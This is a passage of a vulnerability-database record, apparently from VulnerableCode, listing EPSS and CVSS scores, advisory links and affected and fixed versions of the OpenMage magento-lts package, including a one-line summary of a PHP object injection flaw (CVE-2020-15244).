2
value 0.01874
scoring_system epss
scoring_elements 0.83496
published_at 2026-06-06T12:55:00Z
3
value 0.01874
scoring_system epss
scoring_elements 0.83492
published_at 2026-06-07T12:55:00Z
4
value 0.01874
scoring_system epss
scoring_elements 0.83483
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-26285
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26285
reference_id CVE-2020-26285
reference_type
scores
url https://nvd.nist.gov/vuln/detail/CVE-2020-26285
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.10
purl pkg:composer/openmage/magento-lts@19.4.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b7ua-zfks-fyg5
8
vulnerability VCID-cbms-5g8f-wyg6
9
vulnerability VCID-dg5g-wnuf-ryad
10
vulnerability VCID-dj3k-4q1f-xfbh
11
vulnerability VCID-fken-twwj-gkaq
12
vulnerability VCID-g75g-ab3s-y7db
13
vulnerability VCID-gewj-4tzh-k3e5
14
vulnerability VCID-gn12-464m-fkcu
15
vulnerability VCID-h9n9-9mxj-zqd6
16
vulnerability VCID-jfan-uqf5-3qhd
17
vulnerability VCID-jr6u-gjtr-3udv
18
vulnerability VCID-kctp-3z8m-5fg2
19
vulnerability VCID-mdd4-wk6v-a3cw
20
vulnerability VCID-tqce-uume-myc2
21
vulnerability VCID-upex-64ca-uqbf
22
vulnerability VCID-xazc-hmj9-guas
23
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.10
1
url pkg:composer/openmage/magento-lts@20.0.5
purl pkg:composer/openmage/magento-lts@20.0.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b33e-r7rr-pyf7
8
vulnerability VCID-b7ua-zfks-fyg5
9
vulnerability VCID-cbms-5g8f-wyg6
10
vulnerability VCID-dg5g-wnuf-ryad
11
vulnerability VCID-dj3k-4q1f-xfbh
12
vulnerability VCID-fken-twwj-gkaq
13
vulnerability VCID-g75g-ab3s-y7db
14
vulnerability VCID-gewj-4tzh-k3e5
15
vulnerability VCID-gn12-464m-fkcu
16
vulnerability VCID-h9n9-9mxj-zqd6
17
vulnerability VCID-jfan-uqf5-3qhd
18
vulnerability VCID-jr6u-gjtr-3udv
19
vulnerability VCID-kctp-3z8m-5fg2
20
vulnerability VCID-mdd4-wk6v-a3cw
21
vulnerability VCID-tqce-uume-myc2
22
vulnerability VCID-upex-64ca-uqbf
23
vulnerability VCID-xazc-hmj9-guas
24
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.5
aliases CVE-2020-26285, GHSA-hj6w-xrv3-wjj9
risk_score null
exploitability 0.5
weighted_severity 0.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-zwm8-96yp-nben
Fixing_vulnerabilities
0
url VCID-pvcg-c61e-x3an
vulnerability_id VCID-pvcg-c61e-x3an
summary
Deserialization of Untrusted Data
In Magento (rubygems openmage/magento-lts package) before versions 19.4.8 and 20.0.4, an admin user can generate soap credentials that can be used to trigger RCE via PHP Object Injection through product attributes and a product. The issue is patched in versions 19.4.8 and 20.0.4.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-15244
reference_id
reference_type
scores
0
value 0.0087
scoring_system epss
scoring_elements 0.75549
published_at 2026-06-04T12:55:00Z
1
value 0.0087
scoring_system epss
scoring_elements 0.75557
published_at 2026-06-08T12:55:00Z
2
value 0.0087
scoring_system epss
scoring_elements 0.7557
published_at 2026-06-07T12:55:00Z
3
value 0.0087
scoring_system epss
scoring_elements 0.7558
published_at 2026-06-06T12:55:00Z
4
value 0.0087
scoring_system epss
scoring_elements 0.75577
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2020-15244
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 8.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/26433d15b57978fcb7701b5f99efe8332ca8630b
reference_id
reference_type
scores
0
value 8.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/commit/26433d15b57978fcb7701b5f99efe8332ca8630b
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-15244
reference_id CVE-2020-15244
reference_type
scores
0
value 8.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-15244
4
reference_url https://github.com/advisories/GHSA-jrgf-vfw2-hj26
reference_id GHSA-jrgf-vfw2-hj26
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-jrgf-vfw2-hj26
5
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-jrgf-vfw2-hj26
reference_id GHSA-jrgf-vfw2-hj26
reference_type
scores
0
value 8.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-jrgf-vfw2-hj26
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.8
purl pkg:composer/openmage/magento-lts@19.4.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b33e-r7rr-pyf7
8
vulnerability VCID-b7ua-zfks-fyg5
9
vulnerability VCID-cbms-5g8f-wyg6
10
vulnerability VCID-dg5g-wnuf-ryad
11
vulnerability VCID-dj3k-4q1f-xfbh
12
vulnerability VCID-fken-twwj-gkaq
13
vulnerability VCID-g75g-ab3s-y7db
14
vulnerability VCID-gewj-4tzh-k3e5
15
vulnerability VCID-gn12-464m-fkcu
16
vulnerability VCID-h9n9-9mxj-zqd6
17
vulnerability VCID-jfan-uqf5-3qhd
18
vulnerability VCID-jr6u-gjtr-3udv
19
vulnerability VCID-kctp-3z8m-5fg2
20
vulnerability VCID-mdd4-wk6v-a3cw
21
vulnerability VCID-nv23-eun4-1fdd
22
vulnerability VCID-tqce-uume-myc2
23
vulnerability VCID-upex-64ca-uqbf
24
vulnerability VCID-xazc-hmj9-guas
25
vulnerability VCID-xhm4-u8ax-wuew
26
vulnerability VCID-zwm8-96yp-nben
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.8
1
url pkg:composer/openmage/magento-lts@20.0.4
purl pkg:composer/openmage/magento-lts@20.0.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b33e-r7rr-pyf7
8
vulnerability VCID-b7ua-zfks-fyg5
9
vulnerability VCID-cbms-5g8f-wyg6
10
vulnerability VCID-dg5g-wnuf-ryad
11
vulnerability VCID-dj3k-4q1f-xfbh
12
vulnerability VCID-fken-twwj-gkaq
13
vulnerability VCID-g75g-ab3s-y7db
14
vulnerability VCID-gewj-4tzh-k3e5
15
vulnerability VCID-gn12-464m-fkcu
16
vulnerability VCID-h9n9-9mxj-zqd6
17
vulnerability VCID-jfan-uqf5-3qhd
18
vulnerability VCID-jr6u-gjtr-3udv
19
vulnerability VCID-kctp-3z8m-5fg2
20
vulnerability VCID-mdd4-wk6v-a3cw
21
vulnerability VCID-nv23-eun4-1fdd
22
vulnerability VCID-tqce-uume-myc2
23
vulnerability VCID-upex-64ca-uqbf
24
vulnerability VCID-xazc-hmj9-guas
25
vulnerability VCID-xhm4-u8ax-wuew
26
vulnerability VCID-zwm8-96yp-nben
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.4
aliases CVE-2020-15244, GHSA-jrgf-vfw2-hj26
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pvcg-c61e-x3an
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.8